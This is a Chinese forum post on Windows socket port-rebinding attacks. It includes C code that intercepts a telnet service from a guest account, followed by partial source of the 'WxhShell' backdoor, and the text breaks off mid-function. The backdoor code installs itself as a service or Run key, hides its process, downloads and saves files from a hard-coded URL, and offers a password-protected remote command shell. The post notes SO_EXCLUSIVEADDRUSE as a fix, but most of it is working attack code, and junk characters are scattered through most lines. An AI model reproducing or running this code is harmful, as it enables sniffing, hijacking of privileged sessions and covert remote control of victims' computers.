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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gwrx) Mq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ax{-Qi7z-+  
lU50.7<08  
  saddr.sin_family = AF_INET; KWigMh\r  
Z#TgFQ3u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }eDX8b8emA  
\HP,LH[P:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j$mt*z L  
xo)?XFM2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -MHX1`P:Sn  
]/V Iff  
  这意味着什么?意味着可以进行如下的攻击: S] K6qY  
X_tW#`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o+)LcoP u  
(;Q <@PZg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &6|^~(P?  
{HRxyAI!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A^r [_dyZ  
9tc@   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &h4Z|h[01  
l=-d K_ I?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \")YKN=W  
wkZ2Y-#='  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1z};"A  
WJFTy+bD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qq9tBCk  
RP@idz  
  #include t 1RwB23  
  #include 8#Z\}gGz  
  #include %dk$K!5D0  
  #include    "za*$DU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k0 e|8g X  
  int main() #Mem2cz  
  { T\e)Czz2-  
  WORD wVersionRequested; WfjUJw5x"s  
  DWORD ret; o%~K4 M".  
  WSADATA wsaData; kDpZnXP  
  BOOL val; ^%*{:0'  
  SOCKADDR_IN saddr; 73sAZa|  
  SOCKADDR_IN scaddr; @qhg[= @  
  int err; J*lYH]s  
  SOCKET s; MTITIecw=  
  SOCKET sc; Mi/'4~0Y  
  int caddsize; GLKN<2|2@y  
  HANDLE mt; 5W]N]^v  
  DWORD tid;   f $@".  
  wVersionRequested = MAKEWORD( 2, 2 ); rW%'M#! =  
  err = WSAStartup( wVersionRequested, &wsaData ); ~tj7zI6  
  if ( err != 0 ) { P2:Q+j:PX  
  printf("error!WSAStartup failed!\n"); X"khuyT_  
  return -1; Y)j,(9  
  } %{VI-CQ  
  saddr.sin_family = AF_INET; %"KWjwp  
   CL}I:/zRB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4#7@KhK}  
2,e|,N"zN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2|NyAtPb5  
  saddr.sin_port = htons(23); QsF<=b~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \FY De  
  { XOU-8;d  
  printf("error!socket failed!\n"); x#gmliF  
  return -1; AO7qs:+  
  } cSs/XJZ  
  val = TRUE; S~(VcC$K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -JO46 #m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o(SJuZC/U  
  { Z-p^3t'{  
  printf("error!setsockopt failed!\n"); &$z1Hz+l  
  return -1; a3 _0F@I  
  } g$T_yT''  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >93{=+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qF6%XKbh=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =cKk3kJC  
C<=p"pWw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [Z G j7  
  { Cg\)BHv~  
  ret=GetLastError(); ieF 0<'iF  
  printf("error!bind failed!\n"); .-26 N6S  
  return -1; dSOn\+  
  } YK+Z0ry  
  listen(s,2); .6/p4OR|  
  while(1) |2&mvjk@H  
  { gLxy RbVI  
  caddsize = sizeof(scaddr); hE#8_34%s  
  //接受连接请求 x w83K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7<Js'\Z  
  if(sc!=INVALID_SOCKET) |Gs-9+'y  
  { J&Qy$itqg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {}C7VS1  
  if(mt==NULL) -Jrc'e4K  
  { 1:s~ ]F@  
  printf("Thread Creat Failed!\n"); ;Wh[q*A  
  break; [^=8k2  
  } 0|Ft0y`+  
  } !9cPNIi  
  CloseHandle(mt); +~{nU'  
  } 0m!ZJHe  
  closesocket(s); o%>nu  
  WSACleanup(); nMoF;AdKm  
  return 0; Oc+L^}elJ  
  }   4_:e+ ql  
  DWORD WINAPI ClientThread(LPVOID lpParam) td$6:)  
  { Cv7RCjMw  
  SOCKET ss = (SOCKET)lpParam; ~HI0<;r=eL  
  SOCKET sc; s ;Nu2aOp7  
  unsigned char buf[4096]; ~9;mZi1-  
  SOCKADDR_IN saddr; h?tV>x/Fu  
  long num; VzM@DM]=~  
  DWORD val; vgZPDf|  
  DWORD ret; ghQsS|)p.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M6Z`Pwv];  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    !3M!p&  
  saddr.sin_family = AF_INET; 95&sFT C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J 2~B<=V  
  saddr.sin_port = htons(23); l+X^x%EA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sh6 NgO  
  { ][qA@3^Tw  
  printf("error!socket failed!\n"); 4qR Q,g{$T  
  return -1; ]b=A/*z  
  } 54_m{&hb  
  val = 100; *YOnX7*Km  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8-6{MJ?F  
  { vKLG9ovlY  
  ret = GetLastError(); d }CMX$1  
  return -1; (X'K)*G#  
  } }33Au-%*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .%h_W\M<l  
  { U]&%EqLS  
  ret = GetLastError(); -* j;  
  return -1; BeCr){,3  
  } 93 b5S>&r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8k% :w0H  
  { ^w}Ib']X  
  printf("error!socket connect failed!\n"); o"CqVRR  
  closesocket(sc); yf>,oNIAg  
  closesocket(ss); SygsZv&LZ  
  return -1; g+{MvSj$  
  } ?UIb!k>  
  while(1) NPq2C8:  
  { $k=rd#3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l%w|f`B:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B|w}z1.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $jL.TraV7  
  num = recv(ss,buf,4096,0); uty]-k   
  if(num>0) L )"w-,zy  
  send(sc,buf,num,0); 2a}_|#*  
  else if(num==0) @WUCv7U  
  break; cl8Mv  
  num = recv(sc,buf,4096,0); ~t$VzL1  
  if(num>0) J sdEA  
  send(ss,buf,num,0); ../(gG9  
  else if(num==0) |'(IWU  
  break; h 'CLf]  
  } XwGJ 8&N  
  closesocket(ss); t/c^hTT  
  closesocket(sc); #Z5~a9rO  
  return 0 ; "lMWSCas  
  } PkO(Y!  
6n4S$a  
\EqO;A%<  
========================================================== ,peFNpi  
0(.C f.B~  
下边附上一个代码,,WXhSHELL of<OOh%3  
v2SsfhT  
========================================================== S+ x [1#r  
U_04QwhK7  
#include "stdafx.h" A]slssE+  
!"">'}E1  
#include <stdio.h> 4^A'A.0  
#include <string.h> !b Km}1T  
#include <windows.h> <Z wEdq  
#include <winsock2.h>  yw^, @'  
#include <winsvc.h> v7RDoO]I  
#include <urlmon.h> TR;-xst@  
<]J5AdJ  
#pragma comment (lib, "Ws2_32.lib") [:Y^0[2  
#pragma comment (lib, "urlmon.lib") ijT^gsLL  
?/g(Y  
#define MAX_USER   100 // 最大客户端连接数 R2gax;  
#define BUF_SOCK   200 // sock buffer m{" zFD/  
#define KEY_BUFF   255 // 输入 buffer fe,CY5B{  
x6]?}Q>>D  
#define REBOOT     0   // 重启 !ym5' h  
#define SHUTDOWN   1   // 关机 ng\S%nA&J  
U$%w"k7^(  
#define DEF_PORT   5000 // 监听端口 B.b)YE '  
$NSYQF%aO  
#define REG_LEN     16   // 注册表键长度 O5"80z38[  
#define SVC_LEN     80   // NT服务名长度 VzNH%  
r,\(Y@I  
// 从dll定义API *+ayC{!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pwQ."2x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v?t+%|dzA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0J B"@U&-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v\Gu  
QUO?q+  
// wxhshell配置信息 epePx0N%x$  
struct WSCFG { :2+:(^l  
  int ws_port;         // 监听端口 owB)+  
  char ws_passstr[REG_LEN]; // 口令 pQ JZE7S  
  int ws_autoins;       // 安装标记, 1=yes 0=no W@LR!EW)  
  char ws_regname[REG_LEN]; // 注册表键名 \wP$"Z}j  
  char ws_svcname[REG_LEN]; // 服务名 B;$5*3D+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \qPrY.-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \(s ";@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Hr%G4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ib C)F> Dq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nsy.!,!c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bjZ?WZr  
Ea 1>]V  
}; [o "@*kf  
?6gI8K6X  
// default Wxhshell configuration QS_xOQ '  
struct WSCFG wscfg={DEF_PORT, 0o`o'ZV=c  
    "xuhuanlingzhe", /6fsh7 \  
    1, h&P[9:LH  
    "Wxhshell", N~_gT Jr~P  
    "Wxhshell", :8FH{sqR  
            "WxhShell Service", z%z$'m  
    "Wrsky Windows CmdShell Service", ?M);wBe(  
    "Please Input Your Password: ", -b<+Ra  
  1, 1{qg@xlj  
  "http://www.wrsky.com/wxhshell.exe", Y2fs$emv  
  "Wxhshell.exe" A}o1I1+  
    }; "=)`*"rr  
>jm9x1+C  
// 消息定义模块 qIl@,8T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n$8A"'.M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] N8V?.|:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >ZT3gp?E  
char *msg_ws_ext="\n\rExit."; d p].FS  
char *msg_ws_end="\n\rQuit."; x :s-\>RcA  
char *msg_ws_boot="\n\rReboot..."; idQr^{  
char *msg_ws_poff="\n\rShutdown..."; OmW|\d PU  
char *msg_ws_down="\n\rSave to "; $0 )K [K  
@,hvXl-G*  
char *msg_ws_err="\n\rErr!"; `O F\f  
char *msg_ws_ok="\n\rOK!"; 43YusUv  
sj1x>  
char ExeFile[MAX_PATH]; (]L=$u4  
int nUser = 0; xo}hu %XL  
HANDLE handles[MAX_USER]; +Aq}BjD#  
int OsIsNt; te_D  ,  
.$rcTZ  
SERVICE_STATUS       serviceStatus; G9]GK+@&F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E;SF f  
;C3](  
// 函数声明 mi+I)b=  
int Install(void); sSxra!tv4  
int Uninstall(void); b@k3y9 &  
int DownloadFile(char *sURL, SOCKET wsh); wcO_;1_ H  
int Boot(int flag); 6N ^FJCs  
void HideProc(void); &7cy9Z~m  
int GetOsVer(void); z]pH'c39  
int Wxhshell(SOCKET wsl); MC3{LVNK  
void TalkWithClient(void *cs); q QQ~ [JL  
int CmdShell(SOCKET sock); i=+ "[h^  
int StartFromService(void); k&*=:y}  
int StartWxhshell(LPSTR lpCmdLine); d] {^  
fu/v1~X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }6\p7n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iqpy5  
gs'( px  
// 数据结构和表定义 *l}q,9iQ-  
SERVICE_TABLE_ENTRY DispatchTable[] = cK""Xz&m  
{ ZCa?uzeo]  
{wscfg.ws_svcname, NTServiceMain}, BX?Si1c  
{NULL, NULL} 4IVCTz[  
}; &WIPz\  
!GO4cbdQ  
// 自我安装 N?aU<-Tn  
int Install(void) #qzozQ4  
{ ^K8Ey#T  
  char svExeFile[MAX_PATH]; .- w*&Hd7b  
  HKEY key; e(b*T  
  strcpy(svExeFile,ExeFile); hP #>`)aNY  
y3l sAe#  
// 如果是win9x系统,修改注册表设为自启动 qzXch["So  
if(!OsIsNt) { 0 @>3fR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9d v+u6)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "&An9H'  
  RegCloseKey(key); U_+>4zdm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XWk^$"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xln'~5~)  
  RegCloseKey(key); \ /o`CV{O  
  return 0; ie5"  
    } (%".=x-  
  } yzYPT}t  
} w%kxY5q  
else { 4:7z9h]  
!{jDZ?z{h  
// 如果是NT以上系统,安装为系统服务 :T.j;~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `*^ f =y  
if (schSCManager!=0) G[GSt`LVS`  
{ Eu2@%2}P  
  SC_HANDLE schService = CreateService q &#f#Ou  
  ( pKMy:j  
  schSCManager, P`0}( '"U  
  wscfg.ws_svcname, @uXF(KDX  
  wscfg.ws_svcdisp, Yv\>\?865  
  SERVICE_ALL_ACCESS, 1?\G6T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , { HHc} 8  
  SERVICE_AUTO_START, K_;'-B  
  SERVICE_ERROR_NORMAL, ]y:2OP  
  svExeFile, +/E`u|%|\]  
  NULL, llN#4D9s  
  NULL, 0e-M 24,C  
  NULL, 7S|nn|\Kp  
  NULL, ' GcN9D  
  NULL =f4>vo}@k  
  ); VXX7Y? !  
  if (schService!=0) DvhJkdLB>  
  { }f45>@uMW  
  CloseServiceHandle(schService); 8iQ8s;@S&>  
  CloseServiceHandle(schSCManager); jOV,q%)^,:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EdR1W~JZ  
  strcat(svExeFile,wscfg.ws_svcname); KPTp91  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,NB?_\$c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |1!RvW:[!  
  RegCloseKey(key); [TRHcz n  
  return 0; |L wn<y  
    } }&!fT\4  
  } -k(bM:  
  CloseServiceHandle(schSCManager); 7XrXx:*a5  
} \\}tD@V"  
} eb10=Lmj  
kzozjh%`9h  
return 1; "h58I)O  
} 2Tt^^Lb  
2z#gn9Wb  
// 自我卸载 oy{ {d  
int Uninstall(void) (@X].oM^y  
{ TuR.'kE@  
  HKEY key; 4b5'nu  
JlaT -j  
if(!OsIsNt) { H.-VfROi2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cqXP}5  
  RegDeleteValue(key,wscfg.ws_regname); &RF*pU>  
  RegCloseKey(key); lfTDpKz3D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ H|ifi  
  RegDeleteValue(key,wscfg.ws_regname); Oc A;+}>  
  RegCloseKey(key); A43 mX !g\  
  return 0; q}x+#[Ef  
  } n06T6oc  
} P~xP@? I%  
} ZE393FnE  
else { ,Kl6vw8Htg  
xWR<>Og.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A-S!Z2m\  
if (schSCManager!=0)  a>6@1liT  
{ mLGbwm'K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S1SsJo2\  
  if (schService!=0) 5|:t$  
  { }:SWgPfc  
  if(DeleteService(schService)!=0) { (58}G2}q  
  CloseServiceHandle(schService); $<DcbJW  
  CloseServiceHandle(schSCManager); m6wrG`-di  
  return 0;  {@E(p4W  
  } <e)u8+(  
  CloseServiceHandle(schService); Wy:xiP  
  } MVDEVq0  
  CloseServiceHandle(schSCManager); 0vYHx V  
} MeCHn2zwB  
} C] dK/~Z#r  
A4Sb(X|j  
return 1; ~3'}^V\  
} .^hk^r  
<?h,;]U  
// 从指定url下载文件 dAba'|Y  
int DownloadFile(char *sURL, SOCKET wsh) $-4 Zi  
{ n=_jmR1  
  HRESULT hr; v#X l  
char seps[]= "/"; F4:giu ht  
char *token; ^ s.necg0  
char *file; vXI2u;=y  
char myURL[MAX_PATH]; {)K H%  
char myFILE[MAX_PATH]; "Qci+Qq  
iCX Ki7  
strcpy(myURL,sURL); RvXK?mL4F  
  token=strtok(myURL,seps); ))9w)A@  
  while(token!=NULL) JnodDH ?  
  { <&47W  
    file=token; <0sT  
  token=strtok(NULL,seps); GI. =\s  
  } SN<Dxa8Iy  
|K(j XZ)  
GetCurrentDirectory(MAX_PATH,myFILE); fg?4/]*T6  
strcat(myFILE, "\\"); <13').F  
strcat(myFILE, file); CT2L }5L&  
  send(wsh,myFILE,strlen(myFILE),0); a Byetc88/  
send(wsh,"...",3,0); yb4Jsk5%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LFwRTY,G  
  if(hr==S_OK) $_5a1Lq1  
return 0; D^-6=@<3KD  
else [Z -S0  
return 1; a@?2T,$  
+-$Hx5  
} ~[*\YN);  
42B_8SK  
// 系统电源模块 4+1aW BJ2  
int Boot(int flag) G_cWp D/  
{ jT:z#B%  
  HANDLE hToken; + 7~u_J  
  TOKEN_PRIVILEGES tkp; /$-Tg)o5i  
v{2euOFE  
  if(OsIsNt) { Kf>]M|G c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u6#FG9W7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $>*TO1gb+  
    tkp.PrivilegeCount = 1; Gm1[PAj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y/9aI/O'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {3H)c^Q  
if(flag==REBOOT) { rY:A LA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Et0[HotO  
  return 0; 4z*An}ol]  
} \ )'`F; P  
else { #]vs*Sz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ex`!C]sQ  
  return 0; 3v?R"2\qS  
} L `6 R  
  } #)7THx/=  
  else { "I}]]?y  
if(flag==REBOOT) { +=o?&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -1z<,IN+  
  return 0; )}|b6{{<  
} vw5f|Q92  
else { l =`?Im  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :=cZ,?PQp1  
  return 0; c7~>uNgJ  
} @w[2 BaDt  
} 3@*orm>em  
+$SJ@IH[<  
return 1; *p  !F+"  
} 4n5r<?rY  
G[4$@{  
// win9x进程隐藏模块 EmFL %++V  
void HideProc(void) -:]-g:;/  
{ =ICakh!TO  
;D>*Pzj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !kG2$/lR  
  if ( hKernel != NULL ) $kD ;*v=  
  { S#[w).7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^6kE tTO*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]hHL[hoFC  
    FreeLibrary(hKernel); 9esMr0*=  
  } W! =X _  
xZc].l6  
return; UZDXv=r|  
} xa&5o`>1G  
W+5<=jXFB  
// 获取操作系统版本 nP5T*-~  
int GetOsVer(void) }Kt1mmo:`  
{ f8JWg9 m  
  OSVERSIONINFO winfo; ):5M +  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r&0IhE  
  GetVersionEx(&winfo); q y\Z2k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[4 V#&Z  
  return 1; "MX9h }7  
  else umJ!j&(  
  return 0; 41oXOB  
} Op>l~{{{  
+>*! 3x+sE  
// 客户端句柄模块 J&w'0  
int Wxhshell(SOCKET wsl) 1Vi3/JM @  
{ D\CjR6DE  
  SOCKET wsh; u+_6V  
  struct sockaddr_in client; kH|cB!?x  
  DWORD myID; [,?5}'we  
XtP5IN\S  
  while(nUser<MAX_USER) *74VrAo  
{ lD41+x 7  
  int nSize=sizeof(client); i+XHXpk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QRFBMq}'  
  if(wsh==INVALID_SOCKET) return 1; .d?2Kc)SV\  
@en*JxIM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !QXPn}q^0  
if(handles[nUser]==0) {I^@BW-  
  closesocket(wsh); ,B8u?{O  
else s+ a} _a:  
  nUser++; LEn+0^hX  
  } 2T&n6t$p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f:u3fL  
gF53[\w^v  
  return 0; |g1~-  
} .tQeOZW'  
T@P[jtH<d  
// 关闭 socket k,GAHM"'  
void CloseIt(SOCKET wsh) Q*K31Ln  
{ !U[/P6 +0  
closesocket(wsh); nd3n'b  
nUser--; ~|kSQ7O^  
ExitThread(0); gT0N\oU"  
} EZb_8<DH  
W^"C|4G}  
// 客户端请求句柄 1wTPT,k  
void TalkWithClient(void *cs) u !@(u!Qz  
{ yq<mE(hS?  
J)n^b  
  SOCKET wsh=(SOCKET)cs; n~Qo@%Jr  
  char pwd[SVC_LEN]; UY~N4IR8  
  char cmd[KEY_BUFF]; t4[<N  
char chr[1]; :ND e<6?u  
int i,j; dK d"2+fH  
kPvR ,  
  while (nUser < MAX_USER) { J<h! H  
/c|X:F!;X#  
if(wscfg.ws_passstr) { RTQtXv6mD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -F~"W@9r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4uy:sCmu  
  //ZeroMemory(pwd,KEY_BUFF); 9ymx;  
      i=0; ,.,spoV  
  while(i<SVC_LEN) { 0/TP`3$X#"  
D4IP$pAD  
  // 设置超时 oUNuM%g9Dy  
  fd_set FdRead; }[mLtv%&  
  struct timeval TimeOut; b2Oj 1dP1  
  FD_ZERO(&FdRead); Zp qb0ro  
  FD_SET(wsh,&FdRead); S17 c#6vT  
  TimeOut.tv_sec=8; >j6"\1E+Dz  
  TimeOut.tv_usec=0; UB2Ft=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^SvGSx i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }O+`X) 9  
5v_vv'~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0i4XS*vPv  
  pwd=chr[0]; F|bg2)|du8  
  if(chr[0]==0xd || chr[0]==0xa) { .g?Ppma  
  pwd=0; ~v|NC([(  
  break; -I'Jm=q3]  
  } vlVHoF;&  
  i++; { YMO8  
    } ,vs#(d6G  
hq*"S -N  
  // 如果是非法用户,关闭 socket ,*m{Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PUbfQg  
} PFI^+';  
Lu5lpeSQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7?"-:q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3{H&{@Q  
e#!,/p E  
while(1) { dj2w_:&W  
(;cKv  
  ZeroMemory(cmd,KEY_BUFF); c0f8*O4i  
BK)3b6L=%  
      // 自动支持客户端 telnet标准   W'{o`O=GGr  
  j=0; 4)Ab]CdD  
  while(j<KEY_BUFF) { E>isl"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zt ;u8O  
  cmd[j]=chr[0]; zXaA5rZO  
  if(chr[0]==0xa || chr[0]==0xd) { 2ut)m\)/)  
  cmd[j]=0; r<OqI*7  
  break; p>h}k_s  
  } W4&Itj  
  j++; I' 'X\/|  
    } Vi<6i0  
,u S)N6'b6  
  // 下载文件 THy{r_dx  
  if(strstr(cmd,"http://")) { AYsiaSTRqW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Q,3^v-  
  if(DownloadFile(cmd,wsh)) 'b:UafV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UFGUP]J>  
  else mt\pndTy7!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OMm'm\+/  
  } &xE+PfX  
  else { s8+{##"1 q  
W(o#2;{ ln  
    switch(cmd[0]) { jZR2Nx}16  
  k2:mIp\  
  // 帮助 OLE@35"v]  
  case '?': { ;T3}#Q*qC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aE[:9{<|  
    break; S N ;1F  
  } vl>_;} W7  
  // 安装 ZmaGp* Wj  
  case 'i': { '#u=w yp  
    if(Install()) |\T!,~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v(`5exWV  
    else }WnoI2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); chXTFLC~  
    break; UHS{X~CS e  
    } p+}eP|N  
  // 卸载 d6ckvD[  
  case 'r': { iJb-F*_y  
    if(Uninstall()) >2ny/AK|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2S{*D={  
    else (".WJXB\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V@\$4@b!#  
    break; C] M{  
    } [[ uZCKi  
  // 显示 wxhshell 所在路径 7VW/v4n  
  case 'p': { IPk"{T3  
    char svExeFile[MAX_PATH]; \4Z"s[8}  
    strcpy(svExeFile,"\n\r"); EfqC_,J*3  
      strcat(svExeFile,ExeFile); 4\y>pXML-U  
        send(wsh,svExeFile,strlen(svExeFile),0); DAQozhP8  
    break; [E;~Y_l  
    } Dpkc9~z  
  // 重启 g-<[* nF  
  case 'b': { 5@EX,$h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wpa^]l  
    if(Boot(REBOOT)) <4Ik]Uz^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u"-."_  
    else { ,B$e'KQ  
    closesocket(wsh); 1i}p?sU  
    ExitThread(0); pykRi#[UrX  
    } nmoC(| r  
    break; `o6T)49  
    } q(Zu;ecBN  
  // 关机 S#l)|c_~  
  case 'd': { 7l3Dx w/N  
